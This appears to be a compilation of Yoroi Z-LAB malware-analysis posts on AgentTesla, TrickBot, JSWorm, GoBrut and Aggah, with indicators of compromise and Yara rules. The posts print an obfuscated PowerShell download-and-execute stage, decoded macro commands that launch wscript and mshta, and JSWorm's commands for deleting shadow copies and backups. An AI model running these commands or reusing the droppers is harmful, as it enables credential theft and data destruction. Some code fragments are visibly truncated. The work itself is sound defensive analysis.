Commodity Malware Reborn: The AgentTesla “Total Oil” themed Campaign


Nowadays the Malware-As-A-Service is one of the criminal favorite ways to breach security perimeter. Agent Tesla is one of these “commodity malware”. It is a fully customizable password info-stealer and many cyber criminals are choosing it as their preferred recognition tool.  

During our monitoring operations we discovered an infection-chain designed to deliver this kind of malware to some Italian companies. The attack has been carried out impersonating personnel from the Liberian division of a global Oil Corporate. The malicious email message were spoofed, but the reference to the employee was realistic and suggests he may have conducted some preliminary OSINT.

Technical Analysis

ThreatMacro Dropper
Brief DescriptionAgent Tesla Doc Macro Dropper

Table 1. Static information about the doc macro

The document uses a common phishing schema, it invites the user to enable the macro execution due to compatibility reasons with older Microsoft Office versions. The document contains an obfuscated VBA macro.

Figure 1: Screen of the fake document

Figure 2: Piece of the malicious macro

Despite the variable names and the altered code flow, the macro simply decodes its hidden payload and then executes it. In fact, after a series of text replacement the document spawns another Powershell script.

powershell -WindowStyle Hidden 
function b72f3 {    param($l74b5)    $l557ad = 'bc9b4';$l63acc = '';    for ($i = 0; $i -lt $l74b5.length; $i+=2) {        $f3ed5fa = [convert]::ToByte($l74b5.Substring($i, 2), 16);        $l63acc += [char]($f3ed5fa -bxor $l557ad[($i / 2) % $l557ad.length]);        }    return $l63acc;}
$k61b35e = '1710500c534230401140070e0217470b0d5e42671b104d07594c314c0c400b0e5c4c7d0c175c105b12305c10420b005c110f1710500c534230401140070e17265d0304570d47160a5a110f1710500c534230401140070e172b7b59164a0b5a05436a1b471606544c7a0717026f3e12165b0e5d01435a0e55111019120d5b020a045619387d0e582b0e490d46164b1b0951100d5c0e07504115275a161140325b0b0d4d5f1625064d32460d0078065010064a11164b3e191241000f500114111758165d01435c1a40071157427d0c1769164642155856020354112b5a16334d101403050d55000056151140100a57051403510d57034b586226580e2a54125b101711405f071157075851511b4e14270d4d104d320c500c40425e1940780d025d2e5d001158104d404a6442441701550b5742104d03400b0019074c16064b0c142b0d4d324010434c06055656084a471611500c5342090d0600005610596f260f552b59120c4b161c40085c105a070f0a50164e437c0c40101a690d5d0c170440620b114d17550e334b0d4007004d401d3f434917560e0a5a424716024d0b574206411651100d19005b0d0f190f0d5b5b0b010c4a2a571664161119115204050157004e36700c4032174b425e57510a54554e434c0b5a16434b5606550215425b171719175d0c17190f0c035a0d4b0f3927550e7d0f135610404a417207460c065551064c07550e164e437c0c40101a690d5d0c17044066160f740d42072e5c0f5b101a1b4e1431064d2e5511177c10460d110404550e105c4b6942104d03400b0019074c16064b0c14140c50061408005f0006504b700c4032174b425904525b5a182b0d4d324010435d015506520c4e5d0c1719090057555b4b0f12165b0e5d01434a1655160a5a425d0c17190d0c53050f551c4b18700c4032174b425107050b5703425e19175053570c531c00540b04074a410951040757585256530209540404560c401d4b5850041c07065f5001555e042b5a16334d101a38064b0d1d190456165b420f0b57010158442b5a16334d10140000585455035e4f030054020e4a5107050b57034e010e5052514b1b500752060d030400550e520552510c5506525708520052560c01055241104b0f0b0511005703555803095f2a5716641611173851100c1019530d1756425850560c010f1f36700c4032174b425007555f51094a36700c4032174b4b015916500c4042070c0102535e09595d044b180f0d5b5b0b010c4a015a0302030215065154050a4e041a57094e5b17171906010155084b1d190456165b420f0b5701015844204d1606623f140752005552005b0419041a50084e041a055f4e041a5a091f0f2b0d4d32401043520751515a585f7903114a0a550e4d780e580d007125580d01580e1c514a022f5510105103584c2056124d4a06085b030401014e044e085c07075b0215511d59095a04565051110c511543700c4032174b4a5601020f03554c37562b5a16550d4a1d49534152045301104e5f07060a5b554e5010595850560c010e42345c00770e0a5c0c4042115d53075a5a040c5115436e0756210f50075a164b1059471611500c53421a5b0755555a04275a140a4b0d5a0f0657161a25064d245b0e075c10640317514a710c1550105b0c0e5c0c404c304907570b0255245b0e075c101a2313490e5d01024d0b5b0c275816554b481b3e681a50585a05034112000350050a4a16560009540053530e401d59115d53075a5a17265b150d550d550625500e514a010e5052514b1b525553540d060550535c565056000d070557570a565752010c5a04015609530453550d0304035258520552000c560006570a530656060c0304065658530252550c550554525b530652050d010457565d5257535308540451565f525653530c5604555709565053560c520455570a530556000e060555570f500152010c5a0404550d5250535008550455575a5203404a151b5607020e5b1d59334b0d5707104a314003114d2b5a040c190c0150005c04515f0d5c1514321156015111106a16551017700c520d4b4000510354004b0f3211560151111017314003114d4a5a57515a0752074a02105116164b0c145258441241000f500114111758165d01434a16460b0d5e425655515f511c11174b0b5a05434a53525557584b4f11174b0b5a054358040055575b570940015a5b565641021140100a5705141707085601535e6a16460b0d5e4c710f134d1b0f040c4b4a5d0c17190b095258505e4753050e56554c2f5c0c53160b020b1f5f511019561b175c424203570f03035f20560c4207114d4c600d214016514a10080403560217314100104d105d0c04110b18504a1553024b584c060556560849094a005103464b4b4f030054020e426a42025f560356010c391c0b4c0b4b14474358040055575b571a2e065705400a3e10594910064d17460c434c060556560859491f';$k61b35e2 = b72f3($k61b35e);
Add-Type -TypeDefinition $k61b35e2;[p99a3fb]::o81f67();

Code Snippet 1

The Powershell stage is substantially composed of three parts: the first is the declaration of  function “b72f3()”, having the purpose to deobfuscate the second part of the script, contained into the “$k61b35e” variable. It actually is a C# source code snippet, compiled and loaded within the Powershell process at execution time. Once loaded, the third part of the script invokes the “o81f67()” method of the just compiled “p99a3fb” class.

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Net;

public class p99a3fb{ 

 public static extern IntPtr va46a7(IntPtr af474b5,string a2457);
 [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr ud1451(string j4d4b5);
 [DllImport("kernel32", EntryPoint="VirtualProtect")] public static extern bool m9982c8(IntPtr sfff854,UIntPtr j5236a, uint r427a, out uint m8a94);
 [DllImport("Kernel32.dll", EntryPoint="RtlMoveMemory", SetLastError=false)] static extern void jcfb22(IntPtr mf1b8,IntPtr dcad15,int k456b);
 public static int o81f67(){ 
	IntPtr eef257 = ud1451(b72f3("030e4a0b1a060f55"));
	if(eef257==IntPtr.Zero){goto l255c;} 
	IntPtr bca6aa=va46a7(eef257,b72f3("230e4a0b67010257204104055c10")); 	
 	if(bca6aa==IntPtr.Zero){goto l255c;} 
	UIntPtr de6f3=(UIntPtr)5;
 	uint d5c61=0;
 	if(!m9982c8(bca6aa,de6f3,0x40,out d5c61)){goto l255c;}
  	Byte[] e197fb8={0x31,0xff,0x90};
	 IntPtr kee39a=Marshal.AllocHGlobal(3);
	 jcfb22(new IntPtr(bca6aa.ToInt64()+0x001b),kee39a,3);
	 l255c:  WebClient rd1389=new WebClient();
	 string ybea79=Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)+"\\x3a81a"+b72f3("4c064107");
	 ProcessStartInfo n52cefe=new ProcessStartInfo(ybea79);
	 return 0;

 public static string b72f3(string s1f74a){ 
	string af474b5="bc9b4";
	string ud1451=String.Empty;
	 for(int i=0;
	byte va46a7=Convert.ToByte(s1f74a.Substring(i,2),16);
		 ud1451+=(char)(va46a7 ^ af474b5[(i/2) % af474b5.Length]);
 	} return ud1451;

Code snippet 2

Code Snippet 2 is the C# class to be loaded. It has the objective to download the payload from the drop url previosly decoded by the “b72f3()” function: “hxxp://www.handrush[.com/wp-content/plugins/akismet/views/DurGhamPop[.exe”

The payload is stored into “%APPDATA%\Roaming” path and it is immediately executed through the “Process.Start()” function.

The Loader

ThreatAgent Tesla Loader
Brief DescriptionAgent Tesla .NET C# loader

Table 2. Static information about the AgentTesla evasive loader

The dropped file payload is a .NET executable embedding some anti-analysis tricks. If it is executed on a virtual environment, the malware kills itself. It also uses some anti-debugging trick to decide if terminate its execution.

Figure 3: Method after which the process kills itself

According to the MSDN documentation, the method Delegate.CreateDelegate "creates a delegate of the specified type that represents the specified static method of the specified class, with the specified case-sensitivity and the specified behavior on failure to bind". This way, the control flow is switched to the delegated method which actually points to a DLL containing the anti-analysis logic.

Figure 4: Loading routine of the internal DLL

Before passing the control to the “swety.dll” library, which is a sort of helper component with no particular scope except the identification of analysis environments, the first instructions executed here are designed to decode and load a byte array embedded inside the executable, unpacking the obfuscated code.

Figure 5: Decoding routine of the DLL

The Figure above shows how this payload is encoded within the byte array and the routine invoked to retrieve it. This byte array is actually a well-formed dll loaded through the “Thread.GetDomain().Load()” method. At this point, the control finally passes to the "swety.dll" library, the module in charge to detect the analysis environment.

The “Swety” Module

ThreatSwety evasion module
Brief Description.NET Swety evasion module

Table 3. Static information about the “swety” evasive module

This component is always a .NET executable. The name of the classes are self-explicative: for instance, there are clear references to Virtual Machine detection logic. 

Figure 6: Example of the enumeration of the Hypervisors

In Figure 9, the malware retrieves the information about the current hardware and compares it with a defined set of criteria, when it finds a match, it kills itself. Otherwise, the dll continues its execution and loads another PE file hidden inside the initial loader. This last executable file runs as a new thread within the initial loader context.

Figure 7: Loading of the AgentTesla final payload

The Payload 

ThreatAgent Tesla
Brief DescriptionAgent Tesla Payload

Table 4. Static information about the AgentTesla payload

The extracted payload is a .NET binary file. AgentTesla and Hawkey have lots of pieces of code in common, and the analysis we made two months ago about the Hawkeye payload is similar to this one.

Figure 8: Recurrent string decryption routine through the usage of Rijndael algorithm

Also in this case every sensitive information, string or other information  is encrypted through Rijndael algorithm and it tries to evade the sandbox to the common user names of the principal sandboxes. The persistence mechanisms is practically the same and the installation path of detected during the analysis is “%APPDATA%/Roaming/SecondLORI/SecondLORI.exe” 

Figure 9: Sandbox evasion trick

Figure 10: Persistence mechanism

After its installation, the malware starts to retrieve all the credential stored within a wide list of web browsers, FTP clients, File Downloaders etc. For instance, it is able to steal accounts from:

The harvested credentials are then sent back to the attacker servers. The malware leverages the .NET API to easily set up a mail client to transmit the loot to a particular mailbox.

Figure 11: SMTP client account configuration

The name of the sender, “Lori”, matches the name in the persistence mechanism, “SecondLORI”. This username may belong to a previously compromised email account the attacker uses as a sort of SMTP relay to deliver the loot to the real exfiltration address, a GMail mailbox named “[email protected]”. 

Figure 12: SMPT communication


As we stated in the previous post about a custom weaponization of the Hawkeye info-stealer, these kinds of malware are well known and highly used by cyber criminals. But despite their popularity event into the info-sec community, these "commodity tools" still result to be quite effective especially when combined within custom multistage infection chains, renewing their dangerousness and effectiveness.

Indicators of Compromise



C2 (smtp)

Persistence Mechanism

Yara Rules

rule AgentTesla_MacroDropper_1909 {
      description = "Yara rule for AgentTesla Macro DOC Dropper 1909"
      author = "Yoroi - ZLab"
      last_updated = "2019-09-17"
      tlp = "white"
      category = "informational"
      $a1 = {70 6D EF 0D 0F 32 2A A4 A0 8D 0A}
	  $a2 = {7B D6 CB 41 C7 28 48 4D ED A5}
	  $a3 = {5F AF B6 16 6C A9 3A 0C 5F D8 5C}
      uint16(0) == 0x4B50 and all of them
rule AgentTesla_loader_1909 {
      description = "Yara rule for AgentTesla loader 1909"
      author = "Yoroi - ZLab"
      last_updated = "2019-09-17"
      tlp = "white"
      category = "informational"
      $a1 = {3D D2 5B 5B 7B 9B EF 4C BB}
	  $a2 = {8E AF 2D D0 BD 78 5C D1 15}
	  $a3 = "F7yYSv5wCAK/4YCGT+bQ==" ascii wide
      uint16(0) == 0x5A4D and pe.timestamp == 0x25E8088E and all of them


This article was authored by Luigi Martire and Luca Mella of Cybaze-Yoroi Z-LAB.

Dissecting the 10k Lines of the new TrickBot Dropper


TrickBot it is one of the best known Banking Trojan which has been infecting victims since 2016, it is considered a cyber-crime tool. But nowadays defining it a “Banking Trojan” is quite reductive: during the last years its modularity brought the malware to a higher level. In fact it can be considered a sort of malicious implant able to not only commit bank-related crimes, but also providing tools and mechanism for advanced attackers to penetrate within company networks. For instance, it has been used by several gangs to inoculate Ryuk ransomware within the core servers infrastructure, leading to severe outages and business interruption (e.g. the Bonfiglioli case).

In this report, we analyzed one of the recently weaponized Word documents spread by TrickBot operators all around the globe. Revealing an interesting dropper composed by several thousand highly obfuscated Lines of Code and abusing the so-called ADS (Alternate Data Stream).

Technical Analysis

Brief DescriptionTrickBot document dropper

Table 1. Sample’s information

Once opened, the analyzed Word document reveals its nature through an initial, trivial, trick. The attacker simply used a white font to hide the malicious content from the unaware user (and from the endpoint agents). Just changing the font foreground color unveils some dense JavaScript code. This is code will be executed in the next stages of the infection chain, but before digging the JavaScript code, we’ll explore the macro code embedded into the malicious document.

Figure 1. Content of Word document

Figure 2. Unveiled content of Word document

The “Document_Open()” function (Figure 3) is automatically executed after the opening of the Word document. It retrieves the hidden document content through the “Print #StarOk, ActiveDocument.Content.Text” statement and writes a copy of it into the “%AppData%\Microsoft\Word\STARTUP\stati_stic.inf:com1” local file

Figure 3. Macro code embedded in the malicious document

Exploring the folder “\Word\STARTUP” we noticed the “stati_stic.inf” file counts zero bytes. Actually, the dropper abused an old Windows File System feature, known as “Alternate Data Stream” (ADS), to hide its functional data in an unconventional stream. A known techniques, T1096 on Mitre Att&ck framework, can be simply used by concatenating the colon operator and the stream name to the filename during any writing or reading operation. So, we extracted the content of the stream through a simple Powershell command.

Figure 4. Use of Alternate Data Stream to hide the payload

The extracted payload is the initial Word document hidden content. The malicious control flow resumes with the “Document_Close()” function, in which the “StripAllHidden()” function is invoked. This routine deletes all the hidden information embedded into the document by the attacker, probably with the intent to hide any traces unintentionally embedded during the development phase. Its code has probably been borrowed from some public snippets such as the one included at the link

After that, the macro code executes the data just written into the “com1” data stream. Since the stream contains JavaScript code, it will be executed through WScript utility using the following instructions:

CallByName CreateObject("wS" & Chri & "Ript.She" & Ja), "Run", VbMethod, Right(Right("WhiteGunPower", 8), Rule) & "sHe" & Ja & " wS" & Chri & "RipT" & GroundOn, 0

Which, after a little cleanup, becomes:

CallByName CreateObject("wScript.Shell"), "Run", VbMethod, “powershell wscript /e:jscript “c:\users\admin\appdata\roaming\microsoft\word\startup\stati_stic.inf:com1””, 0

The JavaScript Dropper

Now, let’s take a look at the JavaScript code. It is heavily obfuscated and uses randomization techniques to rename variable names and some comments, along with chunks of junk instructions resulting in a potentially low detection rate.

Figure 5. Example of the sample detection rate

At first glance, the attacker purpose seems fulfilled. The script is not easily readable and appears extremely complex: almost 10 thousand lines of code and over 1800 anonymous function declared in the code.

Figure 6. Content of the JavaScript file

But after a deeper look, two key functions, named “jnabron00” and “jnabron”, emerge. These functions are used to obfuscated every comprehensible character of the script. The first one, “jnabron00”, is illustrated in the following figure: it returns always zero value.   

Figure 7. Function used to obfuscate the code

The other one, “jnabron”, is invoked with two parameters: an integer value (derived from some obfuscated operations) and a string which is always “Ch”.

jnabron(102, ‘Ch’)

The purpose of this function is now easy to understand: it returns the ASCII character associated with the integer value through the “String.fromCharCode” JS function. Obviously, once again, to obfuscate the function internals the attacker included many junk instructions, as reported in Figure 9.

Figure 8. Another function used to obfuscate the code

Using a combination of the two functions, the script unpack its real instructions, causing a tedious work to the analyst who has to understand the malicious intents of the script. As shown in the following figure, tens of code lines result in a single instruction containing the real value will be included in the final script.

Figure 9. Example of de-obfuscation process

After a de-obfuscation phase, some useful values are visible, such as the C2 address, the execution of a POST request, and the presence of Base64-encoded data.

Figure 10. C2 checkin code

Analyzing this hidden control flow we discover the first action to be performed is the gathering of particular system information.  This is done through the WMI interface, specifying a particular WQL query and invoking the “ExecQuery” function to retrieve:

Figure 11. Code used to extract information about system

These information are then sent to the command and control server during the check-in phase of the Javascript loader, along with the list of running processes.

Figure 12. Network traffic

Moreover, the script is able to gather a list of all files which have one of the extensions chosen by the attacker: PDF files, Office, Word and Excel documents. The result of this search is then written on a local file into the “%TEMP%” folder, and later uploaded to the attacker infrastructure.

Figure 13. Code to extract absolute paths from specific file types


TrickBot is one of the most active Banking Trojan today, it is considered to be part of Cyber Crime arsenal and it is still under development. The malware, first appeared in 2016, during the last years adds functionalities and exploit capabilities such as  the infamous SMB Vulnerability (MS17-010) including EthernalBlue, EthernalRomance or EthernalChampion.

The analyzed dropper contains a highly obfuscated JavaScript code counting about 10 thousand Lines of Code. This new infection chain structure represents an increased threat to companies and users, it can achieve low detection rates enabling the unnoticed delivery of TrickBot payload, which can be really dangerous for its victims: just a few days, or even a few hours in some cases, of active infection could be enough to propagate advanced ransomware attacks all across the company IT infrastructure. 

Indicator of Compromise


import "pe"

rule TrickBot_Dropper_August_2019 {
      description = "Yara rule for TrickBot dropper - August variant "
      author = "Yoroi - ZLab"
      last_updated = "2019-09-09"
      tlp = "white"
      category = "informational"
      $a1 = {0E E3 4E B0 36 C5 A5 32 62 37 C3 1E 86 F3 44 2B}
      $a2 = {E8 E3 9E 31 3D 37 78 12 89 07 DB 71 B2 92 2E B8}
	  $b1 = /\([^,]*,'Ch'\)/
      all of ($a*) or $b1

rule TrickBot_August_2019 {
      description = "Yara rule for TrickBot - August variant "
      author = "Yoroi - ZLab"
      last_updated = "2019-09-09"
      tlp = "white"
      category = "informational"
      $a1 = "VIEW 4 ME UK LIMITED1" wide ascii
	  $a2 = "mfAACEnc.dll" wide ascii
      all of them and pe.number_of_resources == 7  

This article was authored by Antonio Farina, Davide Testa and Antonio Pirozzi  of Cybaze-Yoroi Z-LAB.

JSWorm: The 4th Version of the Infamous Ransomware


The ransomware attacks have no end. These cyber weapons are supported by a dedicated staff that constantly update and improve the malware in order to make harder detection and decryption. As the popular GandCrab, which was carried on up to version 5 until its shutdown, also other ransomware are continuously supported with the purpose of creating revenues for cyber criminals. One of them is JSWorm, which has been updated to version 4. 

Despite the name could reminds to JavaScript language and a possible “worm” logic, the malware does not include either of the two characteristics.

Technical Analysis

Brief DescriptionJSWorm 4.0.2

Table 1: Information about JSWorm 4.0.2 version

JSWorm encrypts all the user files appending a new extension to their name. Unlike other ransomware, the extension is composed by many fields, reporting the information the user needs to move on the ransom payment phase. These fields are the same shown in the ransom note, that are: "Filename.originalExtension.[Infection_ID][Attacker_email].JSWRM"

Figure 1: Infection ID and Contact E-mail 

Moreover, in the ransom note there is also a backup email, “[email protected], to ensure availability in case of blacklisting. During the encryption phase, the ransomware creates an HTML Application “JSWRM-DECRYPT.hta” in each folder it encounters. The HTA file corresponds to the ransom window shown in Figure 1.

To ensure the correct machine functionalities, the ransomware excludes from the encryption phase several system directories (Windows, Perflogs) and junction points like Document and Settings, $RECYCLE.BIN, System Volume Information, MSOCache. Also, for each encountered file, the malware compares it with the excluded paths and if they match, a conditional jump is taken.

Figure 2: Excluded paths

Unlike most ransomware, JSWorm does not embed a list of file extensions to encrypt, but uses a set of extensions to exclude during the cipher step. The malware encrypts all the files whose extension is not present in the list.

Figure 3: Extensions excluded from encryption

Figure 4: Content of “key” file contained in “C:\ProgramData”

During the encryption phase, JSWorm writes a suspicious file named “key.Infection_ID.JSWRM” in “C:\ProgramData”. It contains the AES key used to encrypt the files. Unfortunately, the key is processed with an additional RSA encryption step before its storing. The following figure shows an example of the encrypted key. 

Moreover, to maximize the impact of the encryption phase, the ransomware:

The commands invoked by JSWorm to perform the above mentioned actions are:

vssadmin.exe delete shadows /all /quietDelete the Shadow Volume Copies
bcdedit /set {default} bootstatuspolicy ignoreallfailures -yDisable Windows Error Recovery on startup
bcdedit /set {default} recoveryenabled No -yDisable Automatic Startup Repair
wbadmin delete catalog -quietDelete the backup catalog
wmic shadowcopy delete -yAnother attempt to delete the Shadow Volume Copies
/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "zapiska" /d "C:\ProgramData\JSWRM-DECRYPT.txt" -ySet persistence on startup
/c taskkill.exe taskkill /f /im store.exeKill “store.exe” process (related to MS Exchange)
/c taskkill.exe taskkill /f /im sqlserver.exeKill “sqlserver.exe” process
/c taskkill.exe taskkill /f /im dns.exeKill “dns.exe” process
/c taskkill.exe taskkill /f /im sqlwriter.exeKill “sqlwriter.exe” process

Table 2: Commands executed by the malware

An example of how the malware invokes the commands using the “ShellExecuteA” API is shown in the following figure.

Figure 5: Disassembled routine for shadow copies deleting

The Encryption Scheme

The AES key the malware encrypt is generated starting from an embedded Base64 seed “MI2i6BWRFhcswznItBEl33UaIoDOwqI=”, which is converted into a byte array through CryptStringToBinaryA API before proceeding with low-level manipulation.

Figure 6: Embedded initial string used to generate AES key

The fixed string is combined with a random one to make the derived AES key different for each infection. Not even the malware writer knows the final AES key to decrypt the files, so when the user asks to recover his files, he must send the key file stored in “C:\ProgramData”. On the other side, the attacker will receive the file, then he will decrypt the content using his private RSA key and will proceed to extract the AES key useful to decrypt the user files.

To encrypt the AES key, JSWorm uses an RSA public key embedded into it in Base64 form, as shown in the following figure.

Figure 7: RSA-1 public key in Base 64 encoding (on the left) and in binary encoding (on the right)

The control flow used to encrypt the AES key is based on Windows Cryptography API, as visible in the following figure.

Figure 8: Entire control flow to encrypt the AES key

After decoding of RSA public key and the initialization of a new PROV_RSA_FULL cryptographic service provider (CSP) through the “CryptAcquireContextA” function, the ransomware import the decoded RSA key using the “CryptImportKey” API. 

Figure 9: Imported RSA key through “CryptImportKey” API

The last step is the encryption routine, which is done using the “CryptEncrypt” function, as shown in the following figure.

Figure 10: Parameters for the “CryptEncrypt” function

A funny piece of the malware code is the Russian string used to instantiate a new mutex, “kto prochtet tot sdohnet =)” which means “who reads will die =)”.

Figure 11: Mutex creation


The analyzed case has features in common with most ransomware like encryption scheme, the deletion of shadow copy and persistence. About the encryption scheme, the ransomware uses an AES key generated starting from an embedded Base64 seed which is converted into a byte array through CryptStringToBinaryA API. It is very common to find Ransomware relying on this library (CryptoAPI) for cryptographic task mainly for reliability and for reducing time for development.

Another interesting element is the presence of a mutex containing the string “kto prochtet tot sdohnet =)” in Russian language. This leads us to think that the authors could have Russian hands. Obviously, this could also be a false flag, but the Russian underground have a long tradition in such kind of cyber-crime activities: in fact, according to an Anton Ivanov research, senior malware analyst at Kaspersky Lab, even back in 2016 the Russian underground gave birth to about the 75% of the new crypto-ransomware tracked in that year, evidence of a consolidated malware writing capability.

Indicator of Compromise

Yara Rule

rule JSWorm_4.0.2_July_2019 {
      description = "Yara rule for JSWorm 4.0.2"
      author = "Yoroi - ZLab"
      last_updated = "2019-08-27"
      tlp = "white"
   	 category = "informational"
   	 $a1 = "Total size of files must be less than 5MB"
   	 $a2 = "BORw0KGgoAAAANSU"
   	 $a3 = {FA 39 2E 3A 3A 3A 41 3A 68}
   	 $a4 = {19 38 12 39 2E 39 26 3A}
   	 $a5 = {32 DC 32 F0 32 0C 33}
   	 $a6 = "vssadmin.exe"
   	 $a7 = "wmic shadowcopy"
   	 $a8 = "MI2i6BWRFhcs"
   	 $a9 = {4D CC 2B C1 83 F8}
   	 $a10 = {FF 83 C8 FF 5D C3 8B 40}
   	 4 of ($a*)

This blog post was authored by Antonio Farina, Davide Testa and Antonio Pirozzi.

New GoBrut Version in the Wild


Back in March we spotted and monitored a new emerging threat which we dubbed as GoBrut botnet. In our previous blog post, we analyzed a Windows version of this bot, arguing about the usage of the GoLang programming language, a modern language able to reach extremely high level of code portability, potentially enabling the attackers to write code once and compile it for every OSes. That’s exactly what happened. We discovered a new version of the bot compiled for Linux hosts.

This is not the first Linux compatible GoBrut sample discovered in the wild, in fact, other security firms reported in April 2019 the version 2.24 of the bot has been compiled for Linux systems. Our recent discovery, instead, regards an even newer version of the bot, version 3.06. Even in this case it was compiled for Linux environments.

For this reason, Cybaze-Yoroi ZLAB decided to dig into this new version of the Linux GoBrut bot. 

Technical Analysis

Figure 1: Displayed malware version

During our intelligence monitoring operations, we encountered a compromised website containing a conspicuous number of suspicious files, in particular ELF binaries. The files were actually copies of the same unique sample.

Figure 2: List of the samples on the compromised website
Brief DescriptionGoBrut Linux version 3.06

Table 1: Information about the GoBrut version 3.06

So, we proceeded to compare this latest sample with the previously known ones reported in the AlertLogic technical article.

Figure 3: Basic static information about the malware

The sample has many similarities with the other known GoBrut ones, similarities observed both during the static and the dynamic analysis session. For instance the control flow and the communication protocol are the same, the checking and the retrieval of the jobs have no major changes. In detail:

Figure 4: Registration to the C2

Also, the sample registers itself to the C2 through the path “bots/knock” indicating its kind of worker, the host OS and the version of the malware. The C2 responds with “1” as acknowledgement.

Figure 5: Check for updates

The malware indicates to the C2 its version and the target architecture and the C2 responds indicating whether some updates are available with a simple “yes/no” response.

Figure 6: Routine to retrieve the “Active Campaigns”

During the time of analysis, the only active project configured by the botnet operators was the “wpBrt” one, a “WordPress Brute Forcing” attack campaign configured to attack over 270 thousand of with third parties websites with dictionary attacks.

Figure 7: Response of C2 with the JSON file containing the targets

Like all the previous versions, also this one retrieves the target list in JSON format and starts trying to access them. At this point, we can summarize the observed behaviour of the GoBrut bot with the following diagram:

Figure 8: Sequence diagram of the GoBrut bot

A Dangerous Upgrade

As previously mentioned, the behavior of the bot remained similar to the older versions. However,  this new version has been made more powerful due to the addition of new features. It has been equipped with new brute forcing modules, in particular with:

The full set of modules can be found in the section “List of Workers” .

Target Distribution

Like our previous analysis, we collected the list of targets of the current botnet campaign and, at the time of writing, we identified more than 270k third parties destinations under attack. 

Figure 9: Comparison of National TLD occurrences between February 2019 and August 2019

In addition to the “.com”, “.org” and “.info” domains, we notice that most TLDs refer to the EMEA region and, this time, almost no Russian TLD is present. This could mean, with low confidence, the botnet operators may not want to run attacks against the Russian cyberspace, perhaps due to the possible Russian origin of its current clients. 

Also, we found over 4600 Italian TLDs appeared in the target list of this GoBrut campaign. Most of them are Small-Medium Companies running WordPress based websites, but there are also Law Firms and No-Profit Associations. As described in our Collection #1 Analysis Whitepaper (ITA), these kind of entities can also be targeted by criminals to exploit their relationship and reputation in order to reach more valuable targeted such as Enterprises, Corporates or VIPs.


The active development of this botnet is another indicator of the increasing popularity of GoLang even for the malware writers. This trend has also been noticed by PaloAlto Unit42 in a technical article published back in January 2019, where they observed an important increase in the number of GoLang powered malware since 2016. 

Moreover, the analysis of this StealthWorker/GoBrut version shows the increasing effort of the attackers in expanding their operations, supporting more technologies and adding other recon modules.

We also observed that the targets of this last campaign are hundred of thousand WordPress powered websites, and part of them are related to Italian economic fabric, confirming the increased dangerousness of the botnet along with the presence of ongoing malicious campaigns.

Indicators of Compromise 



Yara Rules

import "elf"
rule GOBRUT_ELF_August_2019{

      description = "Yara Rule for GOBRUT ELF version"
      author = "Cybaze Zlab_Yoroi"
      last_updated = "2019-08-07"
      tlp = "white"
      category = "informational"

   		$h = {7F 45 4C 46}
		$a1 = "StealthWorker"
		$a2 = /Worker(\w+)_brut/
		$a3 = ""
		all of them and elf.type == elf.ET_EXEC and elf.machine == elf.EM_386

List of Workers 


This blog post was authored by Luigi Martire, Davide Testa and Luca Mella of Cybaze-Yoroi Z-LAB

The Evolution of Aggah: From Roma225 to the RG Campaign


Few months ago we started observing a cyber operation aiming to attack private companies in various business sectors, from automotive to luxury, education, and media/marketing.  The attack attribution is still unclear but the large scale of the malicious activities has also been confirmed by Unit42, who reported attack attempt against government verticals too. 

The attacks are characterized by the usage of a Remote Access Trojan named “RevengeRat”, suggesting a possible, still unconfirmed and under investigation, connection with the Gorgon Group, a known mercenary APT group who ran cyber-espionage operations and who were involved in criminal activities too. 

Few weeks ago, Unit42 discovered another active campaign, compatible with the Roma225 one we tracked on December 2018, pointing to some interesting changes into the attackers TTPs.  Recently, we intercepted other attacks potentially related with this wider criminal operation. For this reason, Cybaze-Yoroi ZLab team decided to analyze this recent campaign in order to investigate the evolution of the Aggah threat.

Technical Analysis

The whole infection chain shows an interesting degree of sophistication, leveraging about seventeen stages: a non negligible number of steps putted in place to decouple the infection vector from the actual payload. The following info-graphics summarize the infection chain dissected in the sections below, starting from the weaponized Office document, initially delivered through malicious emails, to the final RevengeRAT payload.

Figure 1. “RG” campaign infection chain 

The Macro Dropper

Brief DescriptionXLS Macro dropper
Ssdeep768:kCSk3hOdsylKlgxopeiBNhZFGzE+ cL2kdAJ7evT8RsFbQ:kDk3hOdsylKlgxopeiBNhZFGzE+cL2kt

Table 1: Information about the RevengeRAT malicious macro dropper

All the infection starts with a malicious XLS document weaponized with an embedded macro. The VB code is polluted by a multitude of junk instructions and after a cleaning phase we isolated the essence of the malicious code.

Public Function Workbook_Open()
	rgh1 = YUcIFcEAA("tzo{h'o{{wA66ip", "7")
	rgh2 = YUcIFcEAA("{5s€6", "7")
	rgh3 = YUcIFcEAA("7O^7ixXmxmxm", "5")
	rgh = rgh1 + rgh2 + rgh3
	Shell rgh
End Function

Public Function YUcIFcEAA(Sg1NdPNeR As String, jxvMDn0vV As Integer)
    Dim PFc88so50 As Integer
    For PFc88so50 = 1 To Len(Sg1NdPNeR)
        Mid(Sg1NdPNeR, PFc88so50, 1) = Chr(Asc(Mid(Sg1NdPNeR, PFc88so50, 1)) - jxvMDn0vV)
    Next PFc88so50
    YUcIFcEAA = Sg1NdPNeR
End Function

Code Snippet 1:  real core of the macro

Figure 2: Command used to start the infection

A quick and dirty manipulation of the script enabled us to easily bypass the code obfuscation techniques protecting the next stage of the infection: the invocation of a Microsoft HTML Application hosted in a remote location.

The macro has the only purpose to run the mshta command. As defined by the Mitre, “Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.” . 

The Hidden HTA

The malware retrieves the HTA application to run from a remote host behind the Bitly shortening service. The target page is the “rg.html”, downloaded from “https[://createdbymewithdeniss[ .blogspot[.com/p/rg[.html”. Even in this case, like in the Roma255 campaign, the attacker abused the Blogger platform to hide the malicious code in plain sight.

Figure 3: Fake Blogspot page

The page does not embed any binaries or malicious links, but navigating its source code, it reveals packed HTML code dynamically injected into the page during the rendering. 

Figure 4: Malicious code contained in the malicious “blogspot” site

This additional piece of script is specifically designed to be executed by the “mshta” utility. It is a VBScript code creating a “WScript.Shell” object, a particular object decisely not designed to be loaded into regular web browsers engines. 

<script language="VBScript">
Set Xkasdj2 = CreateObject(StrReverse(StrReverse("WScript.Shell")))
